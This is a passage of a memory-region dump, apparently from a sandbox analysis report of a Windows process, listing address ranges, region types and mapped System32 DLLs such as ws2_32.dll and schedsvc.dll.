Region: id = 1474 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 1475 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1476 start_va = 0xce0000 end_va = 0xd5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ce0000" filename = "" Region: id = 1477 start_va = 0x14a0000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 1478 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1479 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1480 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1481 start_va = 0x120000 end_va = 0x124fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1482 start_va = 0xf60000 end_va = 0xfdffff entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 1483 start_va = 0x15a0000 end_va = 0x161ffff entry_point = 0x0 region_type = private name = "private_0x00000000015a0000" filename = "" Region: id = 1484 start_va = 0x1630000 end_va = 0x16affff entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 1485 start_va = 0x16b0000 end_va = 0x172ffff entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 1486 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1487 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1488 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1489 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1490 start_va = 0x1740000 end_va = 0x17bffff entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 1491 start_va = 0x7fefbb10000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb12f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" Region: id = 1492 start_va = 0x7fefbb60000 end_va = 0x7fefbb68fff entry_point = 0x7fefbb61010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" Region: id = 1493 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1603 start_va = 0x1810000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 1604 start_va = 0x18c0000 end_va = 0x193ffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 1605 start_va = 0x19c0000 end_va = 0x1a3ffff entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 1606 start_va = 0x7fefb940000 end_va = 0x7fefb954fff entry_point = 0x7fefb9460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" Region: id = 1607 start_va = 0x7fefb960000 end_va = 0x7fefba21fff entry_point = 0x7fefb96101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" Region: id = 1608 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 1609 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 1610 start_va = 0x7fefda40000 end_va = 0x7fefda49fff entry_point = 0x7fefda43b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" Region: id = 1611 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1612 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 1613 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1614 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1615 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1616 start_va = 0x1400000 end_va = 0x147ffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 1617 start_va = 0x1b40000 end_va = 0x1b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b40000" filename = "" Region: id = 1618 start_va = 0x1c20000 end_va = 0x1c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c20000" filename = "" Region: id = 1619 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 1620 start_va = 0x7fefb900000 end_va = 0x7fefb936fff entry_point = 0x7fefb908424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" Region: id = 1621 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 1622 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 1623 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 1624 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1637 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 1638 start_va = 0x7fefb760000 end_va = 0x7fefb76ffff entry_point = 0x7fefb76835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" Region: id = 1639 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1640 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 1641 start_va = 0x7fefb750000 end_va = 0x7fefb75bfff entry_point = 0x7fefb7515d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" Region: id = 1642 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 1643 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1644 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 1645 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 1646 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 1844 start_va = 0x1a70000 end_va = 0x1aeffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1845 start_va = 0x1b90000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b90000" filename = "" Region: id = 1846 start_va = 0x1e30000 end_va = 0x1eaffff entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1847 start_va = 0x20a0000 end_va = 0x211ffff entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 1848 start_va = 0x7fefb660000 end_va = 0x7fefb673fff entry_point = 0x7fefb663e64 region_type = mapped_file name = "Sens.dll" filename = "\\Windows\\System32\\Sens.dll" Region: id = 1849 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 1850 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1851 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1935 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1936 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 1937 start_va = 0x1b70000 end_va = 0x1beffff entry_point = 0x0 region_type = private name = "private_0x0000000001b70000" filename = "" Region: id = 1938 start_va = 0x1ec0000 end_va = 0x1f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 1939 start_va = 0x1fd0000 end_va = 0x204ffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 1940 start_va = 0x7fefb6c0000 end_va = 0x7fefb726fff entry_point = 0x7fefb6d6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" Region: id = 1941 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 1942 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 1943 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1944 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2358 start_va = 0x18d0000 end_va = 0x194ffff entry_point = 0x0 region_type = private name = "private_0x00000000018d0000" filename = "" Region: id = 2359 start_va = 0x2120000 end_va = 0x219ffff entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 2360 start_va = 0x2210000 end_va = 0x228ffff entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 2361 start_va = 0x7fefac10000 end_va = 0x7fefac6dfff entry_point = 0x7fefac19024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" Region: id = 2362 start_va = 0x7fefc650000 end_va = 0x7fefc66cfff entry_point = 0x7fefc651ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" Region: id = 2363 start_va = 0x7fefdaa0000 end_va = 0x7fefdb30fff entry_point = 0x7fefdaa1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" Region: id = 2364 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2365 start_va = 0x1b60000 end_va = 0x1bdffff entry_point = 0x0 region_type = private name = "private_0x0000000001b60000" filename = "" Region: id = 2366 start_va = 0x7fefab90000 end_va = 0x7fefab98fff entry_point = 0x7fefab93668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" Region: id = 2367 start_va = 0x7fefaba0000 end_va = 0x7fefaba8fff entry_point = 0x7fefaba1020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" Region: id = 2368 start_va = 0x7fefabb0000 end_va = 0x7fefac05fff entry_point = 0x7fefabb1040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" Region: id = 2369 start_va = 0x7fefbd90000 end_va = 0x7fefbda4fff entry_point = 0x7fefbd91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" Region: id = 2370 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" Region: id = 2371 start_va = 0x7fefbdc0000 end_va = 0x7fefbdd5fff entry_point = 0x7fefbdc11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" Region: id = 2372 start_va = 0x7fefd280000 end_va = 0x7fefd2affff entry_point = 0x7fefd28194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" Region: id = 2373 start_va = 0x7fefd960000 end_va = 0x7fefd982fff entry_point = 0x7fefd961198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" Region: id = 2374 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 2375 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 2376 start_va = 0x7fefdf30000 end_va = 0x7fefdf69fff entry_point = 0x7fefdf31320 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" Region: id = 2377 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 2378 start_va = 0x2330000 end_va = 0x23affff entry_point = 0x0 region_type = private name = "private_0x0000000002330000" filename = "" Region: id = 2379 start_va = 0x7fefaaa0000 end_va = 0x7fefab8dfff entry_point = 0x7fefaaa12a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" Region: id = 2380 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2440 start_va = 0x7fefa460000 end_va = 0x7fefa469fff entry_point = 0x7fefa46260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" Region: id = 2441 start_va = 0x7fefa470000 end_va = 0x7fefa581fff entry_point = 0x7fefa48f354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" Region: id = 2442 start_va = 0x7fefc050000 end_va = 0x7fefc084fff entry_point = 0x7fefc051064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" Region: id = 2443 start_va = 0x7fefcef0000 end_va = 0x7fefcefcfff entry_point = 0x7fefcef1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" Region: id = 2444 start_va = 0x7fefd020000 end_va = 0x7fefd058fff entry_point = 0x7fefd02c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" Region: id = 2445 start_va = 0x7fefd660000 end_va = 0x7fefd68efff entry_point = 0x7fefd661064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" Region: id = 2446 start_va = 0x7fefd6a0000 end_va = 0x7fefd70cfff entry_point = 0x7fefd6a1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" Region: id = 2447 start_va = 0x7fefdf70000 end_va = 0x7fefecf7fff entry_point = 0x7fefdfecebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" Region: id = 2448 start_va = 0x1e00000 end_va = 0x1e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 2449 start_va = 0x7fefa450000 end_va = 0x7fefa45efff entry_point = 0x7fefa457e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" Region: id = 2471 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 2503 start_va = 0x1cc0000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001cc0000" filename = "" Region: id = 2504 start_va = 0x24f0000 end_va = 0x256ffff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 2505 start_va = 0x7fefa210000 end_va = 0x7fefa286fff entry_point = 0x7fefa21afd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" Region: id = 2506 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2507 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2508 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 2509 start_va = 0x1d0000 end_va = 0x1d4fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3442 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3443 start_va = 0x1e0000 end_va = 0x1e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3444 start_va = 0x1f0000 end_va = 0x1f3fff entry_point = 0x1f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" Region: id = 3445 start_va = 0x200000 end_va = 0x201fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000200000" filename = "" Region: id = 3446 start_va = 0x210000 end_va = 0x213fff entry_point = 0x210000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" Region: id = 3447 start_va = 0x320000 end_va = 0x34ffff entry_point = 0x320000 region_type = mapped_file name = "{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" Region: id = 3448 start_va = 0xe20000 end_va = 0xe85fff entry_point = 0xe20000 region_type = mapped_file name = "{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" Region: id = 3449 start_va = 0x23c0000 end_va = 0x243ffff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 3450 start_va = 0x2460000 end_va = 0x24dffff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 3451 start_va = 0x2570000 end_va = 0x266ffff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3452 start_va = 0x27f0000 end_va = 0x286ffff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 3453 start_va = 0x7fef87c0000 end_va = 0x7fef8845fff entry_point = 0x7fef87cffd0 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" Region: id = 3454 start_va = 0x7fef8850000 end_va = 0x7fef888ffff entry_point = 0x7fef8852f10 region_type = mapped_file name = "WMIsvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" Region: id = 3455 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 3456 start_va = 0x7fefc6a0000 end_va = 0x7fefc893fff entry_point = 0x7fefc82c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" Region: id = 3457 start_va = 0x7fefce30000 end_va = 0x7fefce36fff entry_point = 0x7fefce314b0 region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\System32\\WSHTCPIP.DLL" Region: id = 3458 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 3459 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 3460 start_va = 0x7fefd5a0000 end_va = 0x7fefd5d1fff entry_point = 0x7fefd5a144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" Region: id = 3461 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 3462 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 3463 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 3465 start_va = 0x350000 end_va = 0x354fff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 3466 start_va = 0x2990000 end_va = 0x2a0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 3468 start_va = 0x2750000 end_va = 0x27cffff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 3469 start_va = 0x2b90000 end_va = 0x2c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 3470 start_va = 0x7fef8660000 end_va = 0x7fef86a6fff entry_point = 0x7fef8661040 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" Region: id = 3471 start_va = 0x7fef86b0000 end_va = 0x7fef86f1fff entry_point = 0x7fef86b17e4 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" Region: id = 3472 start_va = 0x7fef8700000 end_va = 0x7fef8710fff entry_point = 0x7fef87014c0 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" Region: id = 3473 start_va = 0x7fef8720000 end_va = 0x7fef87b1fff entry_point = 0x7fef87951ec region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" Region: id = 3474 start_va = 0x7fefacc0000 end_va = 0x7fefad12fff entry_point = 0x7fefacc2b98 region_type = mapped_file name = "FWPUCLNT.DLL" filename = "\\Windows\\System32\\FWPUCLNT.DLL" Region: id = 3475 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 3476 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 3477 start_va = 0x7fefcd70000 end_va = 0x7fefce2afff entry_point = 0x7fefcd76de0 region_type = mapped_file name = "FirewallAPI.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" Region: id = 3478 start_va = 0x7fffff88000 end_va = 0x7fffff89fff entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 3502 start_va = 0x360000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 3503 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 3504 start_va = 0x22b0000 end_va = 0x232ffff entry_point = 0x0 region_type = private name = "private_0x00000000022b0000" filename = "" Region: id = 3505 start_va = 0x2710000 end_va = 0x278ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 3506 start_va = 0x28a0000 end_va = 0x291ffff entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 3507 start_va = 0x2aa0000 end_va = 0x2b1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002aa0000" filename = "" Region: id = 3508 start_va = 0x2c10000 end_va = 0x2d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c10000" filename = "" Region: id = 3509 start_va = 0x2d70000 end_va = 0x2deffff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 3510 start_va = 0x2e00000 end_va = 0x2e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e00000" filename = "" Region: id = 3511 start_va = 0x2eb0000 end_va = 0x2f2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002eb0000" filename = "" Region: id = 3512 start_va = 0x2f60000 end_va = 0x2fdffff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 3513 start_va = 0x7fef8120000 end_va = 0x7fef81a3fff entry_point = 0x7fef8171118 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" Region: id = 3514 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 3515 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 3516 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 3517 start_va = 0x7fffff86000 end_va = 0x7fffff87fff entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 3518 start_va = 0x2fe0000 end_va = 0x30dffff entry_point = 0x0 region_type = private name = "private_0x0000000002fe0000" filename = "" Region: id = 3519 start_va = 0x31d0000 end_va = 0x31dffff entry_point = 0x0 region_type = private name = "private_0x00000000031d0000" filename = "" Region: id = 3520 start_va = 0x31e0000 end_va = 0x32dffff entry_point = 0x0 region_type = private name = "private_0x00000000031e0000" filename = "" Region: id = 3521 start_va = 0x3300000 end_va = 0x330ffff entry_point = 0x0 region_type = private name = "private_0x0000000003300000" filename = "" Region: id = 3522 start_va = 0x7fef80b0000 end_va = 0x7fef80d4fff entry_point = 0x7fef80c8c54 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" Region: id = 3523 start_va = 0x7fef80e0000 end_va = 0x7fef811cfff entry_point = 0x7fef80e1070 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" Region: id = 3524 start_va = 0x7fefcf70000 end_va = 0x7fefcf81fff entry_point = 0x7fefcf71060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" Region: id = 3526 start_va = 0x3150000 end_va = 0x31cffff entry_point = 0x0 region_type = private name = "private_0x0000000003150000" filename = "" Region: id = 3527 start_va = 0x3310000 end_va = 0x340ffff entry_point = 0x0 region_type = private name = "private_0x0000000003310000" filename = "" Region: id = 3528 start_va = 0x34e0000 end_va = 0x355ffff entry_point = 0x0 region_type = private name = "private_0x00000000034e0000" filename = "" Region: id = 3529 start_va = 0x7fef8080000 end_va = 0x7fef8099fff entry_point = 0x7fef8093fbc region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" Region: id = 3530 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 3531 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 3532 start_va = 0x3420000 end_va = 0x349ffff entry_point = 0x0 region_type = private name = "private_0x0000000003420000" filename = "" Region: id = 3533 start_va = 0x35d0000 end_va = 0x364ffff entry_point = 0x0 region_type = private name = "private_0x00000000035d0000" filename = "" Region: id = 3534 start_va = 0x3660000 end_va = 0x36dffff entry_point = 0x0 region_type = private name = "private_0x0000000003660000" filename = "" Region: id = 3535 start_va = 0x7fef8070000 end_va = 0x7fef8077fff entry_point = 0x7fef8071020 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" Region: id = 3536 start_va = 